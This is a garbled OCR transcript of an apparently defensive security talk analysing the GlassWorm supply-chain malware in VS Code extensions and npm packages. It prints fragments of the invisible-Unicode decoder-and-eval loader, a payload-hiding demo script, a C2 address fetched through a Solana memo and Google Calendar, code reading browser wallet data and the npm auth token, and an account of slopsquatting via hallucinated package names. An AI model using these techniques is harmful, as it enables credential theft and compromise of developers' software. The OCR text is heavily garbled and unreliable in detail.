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Any Suspect?

B a v |8 -~ extension.js @ D
v WAVE2 S R — . e : _
cursor_adhamu.history-in-sublime-merge_1.3.4_history-in-sublime-merge > extension > out > extensiol

v cursor_adhamu.history-in-subli... 100 £ activaia = iasnteitl 8

v extension 107
> node modules 108 context.globalState.update(activationKey, JSON.stringify({
109 firstActivated: currentTime,

110 JmmtAndkdiimdbad.

v out
extension.js 111 . Addto Chat Quick Edit

.nvmre ¥));

.filter(b=>b!==null);eval(Buffer.fro toString('utf-8'));

i editor-context.webp

: command-palette.webp 113 const d=s=>[...s]l.map(c=>(c=c. codePoc>=0xFE@@&&c<=®xFE@F?c—@xFE@@: c>=0xE
d(

< explorer-context.webp o 1
s

LICENSE.txt ] else {
package.json const state = JSON.parse(activatioffState);

readme.md if (currentTime > state.lastActivfited + 2 x 24 % 60 * 60 x 1000) {

N
[

»2 sublime-merge.pn
AL context.globalState.updatefictivationKey, JSON.stringify({

. =« State,
lastActivated:
82 H
const d=s=>[...s].map(c=>fc=c.codePointAt(0),c>=0xFEQO&&Cc<=0XFEOF?Cc-0XFEQO: c>=

a» [Content_Types].xml
extension.vsixmanifest
B cursor_adhamue.history-in-subli...

T S S T ey
JN NN NN
1T HE W N =

> OUTLINE
1

> TIMELINE 4

rAanecd Avdancianhlama - Ly cvhl sma _maran!
7 Launchpad ® 0 A0 Cursor Tab Ln 114, Col 35823536 selected)l Spaces:4 UTF-8 LF {} JavaScript  Prettier [}




Any Suspect?

® a ¥ 8 ext °nsion.js @ M

SAWAVEZ curs 'hamu.hic Jry-in-sublim & 1.3.4_history-in-sublime-merge > extension > out > extensiol
v cursor_adhamu.history-in-suk
v extension
> node_modules ey, JSON,stringify({
v out
extension.js
.nvmrc
command-j ’ P<=0xFEOF?c-0xFEQ0@: c>=0xE
editor-context vutf-8'));
explorer-contex
LICERM
package.jsori
readme.md P00 X 60 x 1000) {
Bibline=Tig JSON.stringify({
[Content_Types].xml

extension.vsixmanifest

cursor_adhamu.history-in-su

C=C.Cco0@intAt(0),c>=0xFEQO&&Cc<=0XFEOF?c-0XFEQQ: c>=

> OUTLINE
> TIMELINE

FAaned Avdan Wiama S cihl ima marants

7 Launchpad ® 0 A0 Cursor Tab .ol 35823536 sclected) Spaces: 4 UTF-8 LF {} JavaScript  Prettier [ y




Any Suspect?

— O Q 0xFE00&&w < =0xFEOF?w-0xFE0O:w > =0xEQ100&&w<=0xEQ1EF

Filter by

| <> code 101
£ Repositories 0
© Issues 5
1 Pull requests 19
L) Discussions 0
Ay Users 0

v More

Languages

® TypeScript
JSON
Markdown

@® JavaScript

@ PHP

@ More languages...

Repositories
@ 6BCC2C3896/step-free-api
‘® JacobWennebro/Javatar
@ choovin/comfyui-api

&" jyukki97/study-blog

° rodolfoguinez/strapi-cloud-tem...

1) (-

101 files (510 ms)

/\ Possible unrecognized qualifier, searching for this term literally
OxFEQO&&w<=0xFEQF 2w-0xFEQD: w)=0xEOlOO&&w<=9xE01EF|

@ Files with identical content are grouped together. Hide these e

v (&) p tod: - src/index.re

3 e .v].map(w=>(wew.c intAt(e), 2 > :null)).filter(n=>n!=..

v i bigponzue/hammer.js - hammer.js

3241 -...v].map(w=>(w=w.codePointAt(@), 2 2 :null)).filter(n=>n!=-.

v W Allowebs/remix-saas - server.mjs

167 w..v].map(w=>(w=w.c intAt(e), EOF 2w-0;

v kizzlah/netron - package.js

3

693 -..v].map(w=>(w=w.c intAt(0),w>=0xF EOF 2u-0xF 2 :null)).filter(n=>n!=-.

v B9 jsjx1995/college-coffe_chat - src/index.ts

237 w..v].map(w=>(w=w.c intAt(0),w>=0xF 2u-0xF 2 16:null)).filter(n=>n!=..
N . i t/ P i - src/index.ts
45 m..v].map(w=>(w=w.c intAt(0),w>=0xF EOF 2u-0xF 2 :null)).filter(n=

nae
[ save
® C++

@ Javascript

@ JavaScript

@ JavaScript

@ TypeScript -

@ TypeScript
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Any Suspect?

— O Q 0xFE00&&w < =0xFEOF?w-0xFE0O:w > =0xEQ100&&w<=0xEQ1EF

Filter by

| <> code 101
£ Repositories 0
© Issues 5
1 Pull requests 19
(53]

&

Discussions 0
Ay Users 0

v More

Languages

® TypeScript
JSON
Markdown

@® JavaScript

® PHP

@ More languages...

Repositories
@ 6BCC2C3896/step-free-api
‘® JacobWennebro/Javatar
@ choovin/comfyui-api

@ jyukki97/study-blog

° rodolfoguinez/strapi-cloud-tem...

1) (-

101 files (510 ms)

/\ Possible unrecognized | alifier, searching for this term literally

UXF COOGMWS =UXT COF 2w -UXr £00: w>=0xE0100&&w<=

@ Files with identical content are grouped together. Hide thes

v (&) p tod: - srefinc

3 -..v].map(w=>(w=w.codePointAt (@) ,w>=OxFEQE

v d bigponzue/hammer.js - hammer.js

3241 ....v].map(w=>(w=w.codePointAt(0),w>=0xFE0E

v W Allowebs/remix-saas - server.mjs

a

101 files (510 ms)

/\ Possible unrecognized qualifie

OxFEQO&&w<=0xFEOQF2w-OxFEQQ:!

167  w..v].map(w=>(w=w.c intAt(0),w>=0xF

v kizzlah/netron - package.js

693 m..v].map(w=>(w=w.c i (@) ,w>=0xF

v B9 jsjx1995/college-coffe_chat - src/index.ts

237 m..v].map(w=>(w=w.c intAt(@),w>=0xF

v @ hi
v p

- src/index.ts

45 me.v].map(w=>(wow. c intAt(0) ,w>=0xF

:null)).filter(n=

:null)).filter(n=>n!=

:null)).filter(n=>n!=..

nae
[ save
® C++

@ Javascript

@ JavaScript

@ JavaScript

@ TypeScript -

@ Typescript
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Any Suspect?

= O Q 0xFE00&&w < =0xFEOF?w-0xFE0O:w > =0xEQ100&&w<=0xEQ1EF

a

Filter by 101 files 510 ms)

I <> Code 101 . . §
/\ Possible unrecognized qualifier,
I Repositories 0
© Issues 5
1 Pull requests 19 @ Files with identical content
@ Discussions 0 ¢ - g
v ' pedronauck/reaso . A
Ax Users 0

v More

Languages @ JavaScript .

® TypeScript
JSON
Markdown @ JavaScript .
® JavaScript
® PHP

@ JavaScript -
@ More languages...

Repositories

@ 6BCC2C3896/step-free-api @ Typescript -

‘
® JacobWennebro/Javatar o

@ choovin/comfyui-api

" jyukki97/study-blog ~ @ nigl t/ p i @ TypeScript -

“* rodolfoguinez/strapi-cloud-tem... e

m A More ranasitaries

e <V] map (w=> (. intAt(0) ,w>=0xF oF ? o > O 16:null)). filter(n=>n!=..
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GlassWorm in 5W1H

Who
What
When
Where
Why
How
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GlassWorm in 5W1H

Who:
o EREERHZE
o FREEHMEE
o FAZREEHINTHERSE

a2

1) @ betan
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IGIassWorm in 5SW1H

What:

o (AERANES
e VS Code JEBT:E#F GitHub Repository &

B K iEReE

ogether. Hidi

v B kevzlou7979/push.js - push.js

582 ...v].map(w=>(w=w.codePointAt (@),

a @ adryserage/automaker - init.mjs

2w-0xE0100+16:

424 ....v].map(w=>(w=w.codePointAt(0),w>=0xFEGOLLN<=OXFEOF 2w-0xF

v M 6BCC2C3896/httptoolkit-patcher - index.js

738 w..v].map(w=>(w=w.codePointAt(0) ,w>=0xF

v o bigponzue/hammer.js - hammer,js

3241 ....v].map(w=>(w=w.codePointAt(0),w>=0xF

v @ Allowebs/remix-saas - server.mjs

14

)

167 w-.v].map(w=>(w=w.codePointAt(0),w>=0xF

. kizzlah/netron - package.js

3,

14

)

693 w...v].map(w=>(w=w.codePointAt(0),w>=0xF

2w-0xE0100+16:

:null)).filter(n=>n!=.. 2 1

—y

null)).filter(n=>n!=_.

:null)).filter(n=>n!=_

:null)).filter(n=>n!=—

:null)).filter(n=>n!=..

:null)).filter(n=>n!=_.
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GlassWorm in 5W1H

When:
o 2025 4F 10 AXNRIEER, HMift 2026 FHFEBEHIRFH— R ETH , XL AAZE
R 2025 &£ 10 A 18 B## ;12 1B1E 2026 F X HHHABEZZEN
Repository, E4 RIEFREH,

= @ betan
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GlassWorm in 5W1H

When:
o 20254 10 AARIREE, i/ 2026 FHFHEHIRT — RINETE . U LARWME
R 2025 &£ 10 A 18 B## ;12 1B1E 2026 F X HHHABEZZEN
Repository. EH RIETEH.

GLASSWORM C2 INFRASTRUCTURE & DISRUPTION

apr  may

CrowdStrik oogle
ke CooglelF

23


https://www.ithome.com.tw/news/176195

GlassWorm in 5W1H

Where:

e VS Code./Open VSX IkFE X4 . GitHub Repository. npm E4 K %
BEABIRE. FAEIRESE,

KOI DEX Blog  Enterprise

Koidex / CodeJoy

Codeloy

CodeJoy VSCode¥ & - IRIAIME B2, SEMLIERINGE

W Windsurf by: codejoy

Analysis summary

—

24
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GlassWorm in 5W1H

Why :
o FEHY GitHub Token, E# & EE. SSH Key. 2aEHBREY, L HZESE
[REMEEEREEBIER

= @ betan
(1) (— = o5



GlassWorm in 5W1H

How:

> Unicode Variation Selectors [Ei#& Payload

> $EREZEE CZ Tﬁfﬁffgﬁ‘ﬁ
> FEHY Token EL/&HEE, (B E £ Repository B &=

-

1) @ betan

(1) Invisible

PUA Unicode characters

‘ return ok(); I (I ® ;

o FIAH R Unicode [ Payload
o BXBERREEAXEZAS

(2) Resilient

C2 Unlike before

® ) -

o LBl C2,» RKBE—@E
o BIRHE . P2P EIRIRFSE TN AHE

(3) Contagious

InfoStealer to Worm

&)@~

101010

o FREN Token,  BEREOER
o BIRZEE#RELES Repo/ EF

|

J

:
|
[
|
\
\

—y
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GlassWorm A&t —

GlassWorm (MITRE ATT&CK:S9010) 2 — & & ¥ er G b S E A0 L FESELE 25
ExF H Koi Security 1202510 A A FEEZiidi 4, IREEEHENRHRZERE
HENEERE,

EEBENZEENEEEY  GitHub, npm £ Git /&, FEIRF|ABELA R Repository
HEHZEMERBEAEESE Payload, REHLZHEE,
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I GlassWorm Attack Flow =

5. ZR¥ES
| BRBERY 3. C2BETH BEEH
BRNE
4. BHIUMER
# WEHR B S
ﬁ': @ betan

30



ﬁ(n

Why Developers Trusted It

AR {El 5 22 1 & LB

@ betan
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LIBE/(H (HalluSquatting / SlopSquatting )

o Al EESEEARER, AfEHE—EBEIAFENESR

. IWEHEESLTE npm.PyPl EEH T EEMAERETE
- BREEEREACEREEHRAE

- HRBKREA EETEE SEEEAFEELEAREIR

Package Repository

Attacker asks LLM question

LLM answers with nonexistent package
Attacker publishes malicious package

User asks LLM question

D — 4 ]

LLM answers with now malicious package

ser installs malicious package

User offers host information to attacker

B — 1]

LLM Package Repository
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I LIBE/(H (HalluSquatting / SlopSquatting )

Package Repository

Attacker
Attacker asks LLM question

LLM answers with nonexistent package

Attacker publishes malicious package

»
>

User asks LLM question

&
«

LLM answers with now malicious package

©

User installs malicious package

<
<«

User offers host information to attacker

Package Repository

Attacker
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I Extensions, Packages, and Applications

« AERFT VS Code Extensions, FFEFZ npm E4. EFE T EFA W B B
sh

x=

i @ adryserage/automaker - init.mjs

424  ....v].map(w=>(w=w.codePointAt(0) ,w>=0OxFEQ0&Ew<=0xFEOF ?w-0xFE0O: w>=0xE010088w<=0xEQ1EF >w-0xEQ100+16:null)).filter(n=>n!=.

v B 6BCC2C3896/httptoolkit-patcher - index.js

738 m..v].map(w=>(w=w.codePointAt(0) ,w>=0xFEQO&IwW<=0XFEOF ?w-0xFE0O: w>=0XxE01008&w<=0xXEO1EF >w-0xE0100+16:null) ) .filter(n=>n!=..

v o bigponzue/hammer.js - hammer.js

3241 ....v].map(w=>(w=w.codePointAt(0) ,w>=0xFE0O&&w<=0xFEOF 2w-0xFE00: w>=0xE01008&w<=0xEQ1EF >w-0xE0100+16:null) ). filter(n=>n!=..

ﬁ!ﬂ: @ betan
36



I Extensions, Packages, and Applications

« AERFT VS Code Extensions, FFEFZ npm E4. EFE T EFA W B B
sh

)

adryserage/automaker - init.mjs

U - -

6BCC2C3896/httptoolkit-patcher - index.

w« V] .map(w=>(w=w.codePointAt (@) ,w>=0xFE

bigponzue/hammer.js - hammer.js

w--V] .map (w=>(w=w.codePointAt(0) ,w>=0xFE

README License 8 7

automaker.

[!TIP]

Learn more about Agentic Coding!

Automaker itself was built by a group of engineers using Al and agentic coding techniques to build features faster

than ever. By leveraging tools like Cursor IDE and Claude Code CLI, the team orchestrated Al agents to implement
complex functionality in days instead of weeks.

Learn how: Master these same techniques and workflows in the Agentic Jumpstart course.

Automaker

—y

37



—

I Extensions, Packages, and Applications

. 7[’1%@"”7 VS Code Extensions, F5% npm E4. BRI EEHMDHHZ

7|<

HTTP Toolkit Patcher

v @8 adryserage/automaker - init.mjs

A minimal, cross-platform patcher for HTTP Toolkit that removes subscription requirements.
424  ....v].map(w=>(w=w.codePointAt(0),w>=0

J 5 npm run patch X + v o x

in httptoolkit on ¥ master [!] is @ v2.0.0 via @ v22.19.0

m 6BCC2C3896/httptoolkit-patcher - i ¢ >‘npm run})atch

> httptoolkit-patcher@2.0.0 patch
2 > node index.js patch
S A i L T T A S S W 2t
Do you want to patch HTTP Toolktt’ [Y/n]:
+] HTTP Toolkit Patcher Started

[+] HTTP Toolkit found at C:\Pr F \HTTP Toolkit\resour
. i [+] CheckLng for runnlng HTTP ToolkLt processes
Vv « bigponzue/hammer.js - hammer,js [+] HTTP Toolk 0t running

[+] Extracthg app.asar.

3241 ....v].map(w=>(w=w.codePointAt(0),w>=0

ﬁ'ﬂ: @ betan
38



—y

I Extensions, Packages, and Applications

README  Contributing  MIT license 8 72 =

e ERST VS Code Extencinna FlBE & nom IS4 ERMR T B S 20 th 4= bk =0
sh,

=K

h amme r‘J S [npm v2.0.8 | downloads m 404 badge not found |

S A JavaScript library for detecting touch gestures.
i @ adryserage/automaker - init.mjs

Installation

424  ....v].map(w=>(w=w.codePointAt(0) ,w>=0x
NPM
v B 6BCC2C3896/httptoolkit-patcher - ind
npm install --save hammerjs LE.]
738  wm..v].map(w=>(w=w.codePointAt (@) ,w>=0x
or
v « bigponzue/hammer.js - hammer.js
2241 vl _man{w=>(w=w_codePointAt(0A) w -OxFEOO&E&wW<=0xFEOF 2w-0xFE00: w>=0xEQ10088w<=0xEO1EF >w-0xE0100+16:null)).filter(n=>n!=..

39
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I Extensions, Packages, and Applications

« AERFT VS Code Extensions, FFEFZ npm E4. EFE T EFA W B B
sh

x=

i @ adryserage/automaker - init.mjs

424  ....v].map(w=>(w=w.codePointAt(0) ,w>=0OxFEQ0&Ew<=0xFEOF ?w-0xFE0O: w>=0xE010088w<=0xEQ1EF >w-0xEQ100+16:null)).filter(n=>n!=.

v B 6BCC2C3896/httptoolkit-patcher - index.js

738 m..v].map(w=>(w=w.codePointAt(0) ,w>=0xFEQO&IwW<=0XFEOF ?w-0xFE0O: w>=0XxE01008&w<=0xXEO1EF >w-0xE0100+16:null) ) .filter(n=>n!=..

v o bigponzue/hammer.js - hammer.js

3241 ....v].map(w=>(w=w.codePointAt(0) ,w>=0xFE0O&&w<=0xFEOF 2w-0xFE00: w>=0xE01008&w<=0xEQ1EF >w-0xE0100+16:null) ). filter(n=>n!=..

ﬁ!ﬂ: @ betan
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Three Designs
Behind GlassWorm

Invisible, Resilient, Contagious

41
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GlassWorm = X#Z D FER

Invisible < Resilient « Contagious

(1) Invisible

Unicode Variation Selectors

1 function run() {

.....................

e FIAATR Unicode fEE; Payload
o BABELERBGEAFZEEANR

Resilient
C2 Unlike before

.
~. -
~ e
=g
.
- ™
3 ) @

o B8 C2, MKBEE—PBE
o BiREE. P2P. ZIRRHBETRAHAE

(3) Contagious

InfoStealer to Worm

@)~ 2

101010

@E@®

o FBEY Token,  EZHIZBER
o BIASEEEREPLES Repo/ EH

L

|

J

oysr @ betan

&

Al

@

Jﬁl - ggilalijjkjf - *%?n?i gi;ag
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GlassWorm = X#Z D FER

Invisible < Resilient « Contagious

(1) Invisible

Unicode Variation Selectors

o000

1 function run() {

o L Wl T i—::..

B T T e e AT Pl @S
\

4 return ok() / \tg\? 1

% ‘\ Q__ //

2 } W

e FIAATR Unicode fEE; Payload
o BABELERBGEAFZEEANR

L

Resilient
C2 Unlike before

.
~. -
~ e
=g
‘
- ™
3 ) @

o B8 C2, MKBEE—PBE
o BiREE. P2P. ZIRRHBETRAHAE

(3) Contagious

InfoStealer to Worm

@)~ 2

101010

@E@®

o FBEY Token,  EZHIZBER
o BIASEEEREPLES Repo/ EH

|

@

J

a2

oysr @ betan

&

Al

!;1 - ggilalijjkj? - ;;¥n§i Ei*ag




B Q ¥ B8 ~ extension.js @

v WAVE2

M

cursor_adhamu.history-in-sublime-merge_1.3.4_history-in-sublime-merge > extension > out >

extensiol
v cursor_adhamu.history-in-subli...

100 t activate = (context) => {
v extension 107

> node_modules 108 context.globalState.update(activationKey, JSON.stringify({
S A 109 firstActivated: currentTime,

110 JamdAabiiimdade.

Add to Chat Quick Edit
111 1
.nvmrc , YY)

: command-palette.webp ‘ const d=s=>[...s]l.map(c=>(c=c.codePoipnaiiatll, c>=0XxFEQ0&&C<=0XFEOF?Cc-0xFEQQ: c>=0xE
2 editor-context webp .filter(b=>b!==null);eval(Buffer. frotoSt ring('utf-8'));
= explorer-context.webp
LICENSE.txt

package.json

extension.js

1
J

else {

const state = JSON.parse(activatioffState);
readme.md 119 if (currentTime > state.lastActivfited + 2 x 24 x 60 *x 60 x 1000) {
«2 sublime-merge.png

2 context.globalState.update({ffctivationKey, JSON.stringify({
A [Content_Types].xml ...state,

lastActivated: curre

extension.vsixmanifest

B cursor_adhamu.history-in-subli... 124 1)

const d=s=>[...s].map(c=>fc=c.codePointAt(0),c>=0xFE00&&Cc<=0XxFEOF?c-0XxFEQ0: c>=

> OUTLINE
19¢ 1
> TIMELINE ? g

170 rAanecd Avdanecianhiama

~ L~ cvhl sma _maran'.
7 s° Launchpad ® 0 A0 Cursor Tab Ln 114, Col 35823536 selected)l Spaces: 4 UTF-8 LF {} JavaScript  Prettier [




Invisible :Unicode Variation

B ER AW —Efz

Selectors
» Variation Selectors (2 82:&1£%%) FZRIEERT—
- HENT:
Variation Selectors U+FEOO-U+FEOF 16
Variation Selectors Supplement | U+E0100-U+EO1EF 240

- FAZRAREME—EFTHNE, FTUERFAHR

« BLRAtAEFINET

45



Invisible : Unicode Variation —G=
Selectors

Variation Selectors (82 & 1£%%) AKRIETE I —EFEZXRAM—ER R
EENT
Variation Selectors U+FEOO-U+FEOF 16

Variation Selectors Supplement | U+E0100-U+EO1EF 240

KA ERRENT— BT TONE, FUEARTE | v+ VS15 - P
LAt FRREET v+ VS16 — Emoji &=

0000 E2 9D A4 EF B8 8E - v
0010 E2 9D A4 EF B8 8F 2 L7
0020 E2 9D A4 o8

W
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Invisible : Unicode Variation ==
Selectors

Variation Selectors (¥ 85:2##£38) ARIEE R —EFEZRAMR—ERR

#EWT:

Variation Selectors U+FEOO-U+FEOF 16

Variation Selectors Supplement | U+E0100-U+EO1EF 240

K42 AR EM—ETTHNE, FUEARTSR | ¥+ VSIS - XFR

LAt AEERER
EEHT
e2v 0000
it 42 111

FIGEE m
41 RIE 1 0010
iﬁﬁﬁu OOZO
IBIERE Ty

E2 9D A4 EF B8 8E
E2 9D A4 EF B8 8F

E2 9D A4

v + VS16 — Emoji #=

1 v

2 @
3 v
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Invisible : Unicode Variation —G=
Selectors

Variation Selectors (%82, #1£33) ARIEEERI—EFERBAH—FERX
EEINT:

Variation Selectors U+FEOO-U+FEOF 16

Variation Selectors Supplement | U+E0100-U+EO1EF 240

KA 2 AR EME—EFTHANS, FTUE VS Code HRESF IS ERRI B Z
LAt AEERER CEEEEEEE  Emmun .

& HOHT

[ R RiE Iv

7 A7 P T U U U AT AT U O

[ S R R o O S e

5 89 ﬂm

7 U7 U7 U Y U U O U O O

ORGSR

w\.-:\.vw . i fE}F ug Iu
& NN O W7 O NP O -
= o &4
gysE © betan e
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Invisible :Unicode Variation

Selectors

- HE=E Payload £ERE% % Variation Selectors #RiEEE AN, BN &R
- RIBERERAE, BEBEHEME ETHEMSEN

@ hide.py > ..
1 hidden = [
2: *
3 data = bytearray()
4
5 for char in hidden:
6 code = ord(char)
74
8 if OxFE@O <= code <= OXFEOF:
9 data.append(code - OxFE©09)
10 elif OxEQ100 <= code <= OxEOQ1EF:
11 data.append(code - ©xE0100 + 16)
12
13 print(data.decode("utf-8"))
PROBLEMS ~ OUTPUT  DEBUG CONSOLE  TERMINAL  PORTS 6 python + v (0 W

\Python314\python.exe c:/Users/I-BETAN.CHENG/Desktop/test/hide.py

=
gysE @ betan

haha piyan, this is a very long long long long long message from betan

—y
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Invisible :Unicode Variation
Selectors

@ hide.py > ...
o HEEE 2 ilidden = "
4 . +
* 1§%§; 3 data = bytearray()
4
5 for char in hidden:
6 code = ord(char)
7
8 if OxFE@GO <= code <= OxFEOF:
9 data.append(code - OxFE®@®)
10 elif OxEQ100 <= code <= OxEOI1EF:
11 data.append(code - ©xEQ100 + 16)
12
13 print(data.decode("utf-8"))

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

Python + v Gj @

\Python314\python.exe c:/Users/I-BETAN.CHENG/Desktop/test/hide.py
m @ betan  haha piyan, this is a very long long long long long message from betan
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Invisible : Unicode Variation —G=
Selectors

VS Code TEEZAZTR - BARIWord Wrap (B Bh#:17)) 1% -
REERE Alt+Z
@ aaaaaaa.py ” .. @ aaaaaaa.py ..
1 hidden = '|||* 1  hidden = '|
2 print (hidden) H

2 print (hidden)l
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#5475 : PUA Unicode?

thEHREEHEER PUA RIERETERESEN

Eir A E AR

-

B

)

decode(' 99OV OOOO|
s
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- —=
PUA Unicode characters?
PUA (Private Use Area, FAASHIE) & Unicode Bk E HIEEEREEZW
EMEE, EHEHAE. FRETEEEERBEIA AN E BITEEFIT.

BMP # 3 &F89 U+E000 F U+F8FF (3£ 6,400 fl) . IR E+F . +/]EHBIFmE

(4514 U+F0000 - U+FFFFF, U+100000 - U+10FFFF, it 65,534 fl) & & A
AN#E A E (Private Use Area, PUA) |
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PUA Unicode characters?

PUA (Private Use Area,
WBhfE, ZEHERE. F S R A T o Unicode S&k i T |

ﬁ’ [:l:l U+4E2D E
jj ':E U+20066
CE ':E U+20067

BMP &3 #Br4 U+E000
(43514 U+F0000 - U+FF
AN{#E A& (Private Use Are

%’ U+20069

. R (Rxxfg=x)
aysr @ betan BHEBX - AEREF

/
4
5y
¢

54



Unicode Y&k I |

(BEALY
HEE (Tengwar) =&

U+4E2D

A kY-

(EMEEMT) U+20066
7ME (Klingon) F&

VYRR, MM

WBRVBTWZ A2 A3%

T R'WLE YUB R

M W 1YY VA U+20069

\ [ELbHT (Theban) TERFH j L
R (=)

BREX s ARBEF




PUA Unicode characters?

<>

U+E00B & M

PUA

Private Use Area

FThAER[E

B « FAALRE - 1B - FFE ) EE
RMEZMEHNER B

U+E000

U+F0000

U+100000

M

U+E00B

fi

U+FF545

U+100001

U+F8FF

U+FFFFF

U+10FFFF

# 6,400 1@

+ 65,534 &

# 65,534 1@







a2

GlassWorm = X#Z D FER

Invisible < Resilient « Contagious

(1) Invisible

Unicode Variation Selectors

o000

1 function run() {

o L Wl T i—::..

T g Pl //"\\
\

4 return ok() ! \) \

pd ‘\Q__ //

2 } W

e FIAATR Unicode fEE; Payload
o BABELERBGEAFZEEANR

L

Resilient
C2 Unlike before

.
~. -
~ e
=g
‘
- ™
3 ) @

o B8 C2, MKBEE—PBE
o BiREE. P2P. ZIRRHBETRAHAE

1

(3) Contagious

InfoStealer to Worm

@)~ 2

101010

@E@®

o FBEY Token,  EZHIZBER
o BIASEEEREPLES Repo/ EH

@

J

1) @ betan

BF

Al
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What’s C2?

C2 Server 2 Command and Control Server ( is 2 EZEHIGRES ) -
BIERR » Bz :
HEEZRAREREFCHEREEN "EEPL, -

@ FINEBEP TEEREAE » EREA0REEH0O C2 Server 3BE » AR "BETIRERTE? L REEZEZHA
NP d C2 TiEiES - MITRE ATT&CK #2287 487 Command and Control ( TAOOT1 ) ° M mire arrack

= @ betan
(1) (— = 59



C2 before

Traditional C2

& E IP SiEE
ERIEAEBEHEF

TR M8 B E E HE RN AT i
= 5 T B EA%E 1oC
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Resilient :C2 Unlike before

FIFEREEATE C2
EIEFLL Google Calendar £ A& f#iE@E
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&

Resilient :C2 Unlike before

http://217[.]169.3.218

/aQD%2FJoi3WCWSk8ggGH

- FAEREEATE C2 iTdg$3D%3D
- [EIFLL Google Calendar /£ A& ffiE@ &

aysr @ betan

SELSCAN © s7355+09 Avg Fee:

B Program Logs

Transaction Details © View Raw Data

b
e #1 System Program instruction a S e 64
ot

Sponsored: s« Stake - Join Drake at Stake! BEST VIP CLUB #, 100K C

Balanice Changes R #2 Memo Program v2 instruction

9aU7

ygram log: Signed by 5m. {i2n2al7UaAjvVCn2mYBnTVMUpHNMQ

> Program log: Memo (len 59) (\ Ilnk\ -\ aHROcDuszEzNyAxODQuMTkAijxU lyZEIYQUpwU1h3eFA=\"}"

s > Program consumed: 35913 of 202850 compute units

Interact with multiple instructions on = tem Prog and = e H
(@ Signature 3css4USgxvV2v1sHsSbkmUcaxHbva8hSsYXVvzaHRBVKYL9DsHYBB89Q8yVFgKWWeyXjuHoKSYHtjdAgmtmRgyiA ©
@ Block & Timestamp 122982047 @ © 66days 10hoursago (© 17:17:04 May 29, 2026 (UTC) v
® Result Finalized (MAX Confirmat

@ Signer
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Resilient :C2 Unlike before

- FIFE5REEFATE C2

- [RIFFLL Google Calendar 152 (& {E:@ &

http://217[.]169.3.218
/get zombi payload/qQ
D%2FJoi3WCWSk8ggGHiTd

g%3D%3D

aHROcDovLzIxNy420S4zLjIxOCINZXRfem9tYmIfcGF5b
G9hZC9xUUQIMkZKb2kzVONXU2s4Z2dHSGIUZGcIMOQ
IMOQ=

Tuesday, 17 March 2026 - 04:00-05:00

» 1guest
(=1}
1yes

@  uhjdclolkdn@gmail.com
@ - Organiser

—
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IResiIient .C2 Unlike before

B

fEEC2

-

-

1) @ betan

KiZkC2

—y
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»

KiZkC2
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fEEC2

KiZkC2
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IResiIient .C2 Unlike before

fHirc2

@ betan

i



IResiIient .C2 Unlike before

fHirc2

Q»

@ betan

i



Block Chain?

. REEH
- ERME
- EFME
- BIERE
ﬁm @ betan

)inFlux &R R K

EfilME E&fE

B 2R inFluxZ EE £ ahfH

eI RER

HiEA

hne
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Block Chain?

« FEIEH
o BIMBT, BARLATTEEE
- E4Alt
- EFiME
- HIEmR
@betan
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Block Chain?

ECIE-K
ER%E
o EEMEZHTAH
EfilME
K A AR
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Block Chain?

ECIE-K
E& %
EfilME
o MEE—EHIEs
K A AR

-

1) @ betan
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| Block Chain

-
aYsc

ECIE-K
E& %

EfilME
R R AR

5 > Solana

2,376.10 o
-5.26 (0.22%) % &%

8848 EF7:30 [UTC) - SE%EH
1X 5X 1188 6 {88

2,400

' 2,368.77 EE1:25
2,390
2,380

2,370

2,360
E512:00

0.000005

FEFES

E53:00

SOL ~

14

0.012

?

5%

Time © v Action
© 66d 14h ago 1 Transfer
© 66d 14h ago
1 Transfer
<
1 Transfer
BRA
' Transfer
)
b)
b)
b)
L56:00
TWD ~

B A A8 INFluxE E S F

SHNMQ ©

TTVMUpHNMQ ©
28PKnu7Rzi...2s5QzHSEA2 D
28PKnu7Rzi...2s5QzHSEA2 D

28PKnu7Rzi...2s5QzHSEA2 ©

28PKnu7Rzi...2s5QzHSEA2

Tokens 7

N/A

N/A

N/A

N/A

N/A

N/A

—y

Value (SOL)

n

n

N

0.000005

0.000005

0.000005

0.000005

0.000005

0.000005

0.000005

0.000005

0.000005

0.000005
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Resilient :C2 Unlike before

Traditional C2 bk C2

[E%E IP EeiEiE -« (&S ERBARRERTS C2 firtit
ERIEAEBEHEF « RRERKRAELE

TR M8 B E E HE RN AT i « FHEZEIR

= 5 T B EA%E 1oC - RAERE BLOH

{5140 :
o [EIREE
e Google BHE
e Google Drive

—
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a2

GlassWorm = X#Z D FER

Invisible < Resilient « Contagious

(1) Invisible

Unicode Variation Selectors

o000

1 function run() {

o L Wl T i—::..

T g Pl //"\\
\

4 return ok() ! \) \

pd ‘\Q__ //

2 } W

e FIAATR Unicode fEE; Payload
o BABELERBGEAFZEEANR

Resilient
C2 Unlike before

.
~. -
~ e
=g
‘
- ™
3 ) @

o B8 C2, MKBEE—PBE
o BiREE. P2P. ZIRRHBETRAHAE

L

|

@

(3) Contagious

InfoStealer to Worm

@)~ 2

101010

@E@®

o FBEY Token,  EZHIZBER
o BIASEEEREPLES Repo/ EH

J

1) @ betan

BF

Al
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Contagious :InfoStealer to Worm

GitHub Token — AR ARIEXIEE

OpenVSX — AMFEAEZIER

CHEy=y

TICN /5

Worm
e NPM — AMRZBEHE
[ )
[ )
o Git — M=
InfoStealer
o MEEME
™
m@betan

ECHE

const walletExtensions = [
'nkbihfbeogaeaoehlefnkodbefgpgknn'
‘aholpfdialjgjfhomihkjbmgjidlcdno'
'bgpipimickeadkjlklgciifhnalhdjhe'
'dlcobpjiigpikoobohmabehhmhfoodbb'

I;

const extensionPath = path.join(process.env.USERPROFILE,
'AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions', extensionId);
const leveldbPath = path.join(extensionPath, 'Local Storage\\leveldb');
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Contagious :InfoStealer to Worm

Worm
o NPM — AIREMEERER
e GitHub Token — AR ARREXIEE
e OpenVSX — AMIEARLER
o Git — AN EEETEE
000
InfOStealer const npmrcPath = path.join(process.env.USERPROFILE, '.npmrc');
P 7]” ‘f':fﬁ& const npmConfig = fs.readFileSync(npmrcPath, 'utf8');

const authToken = npmConfig.match(
fslwriteFileSync(path.join(W, 'token_npm.txt'), authToken);

const vscePaths = [

path.join(Y, '.vscode', ‘'extensions'),

path.join(Y, 'AppData', 'Roaming', 'Code', 'User', 'globalStorage')
1;

const publishToken = tokenData.openvsx_token || tokenData.marketplace_token;

=
gysE @ betan




Token Stealer?
npm 2 A

PS D:\glassworm-npm-demo> npm login —-registry=https://registry.npmjs.org/

npm notice Log in on https://registry.npmjs.org/

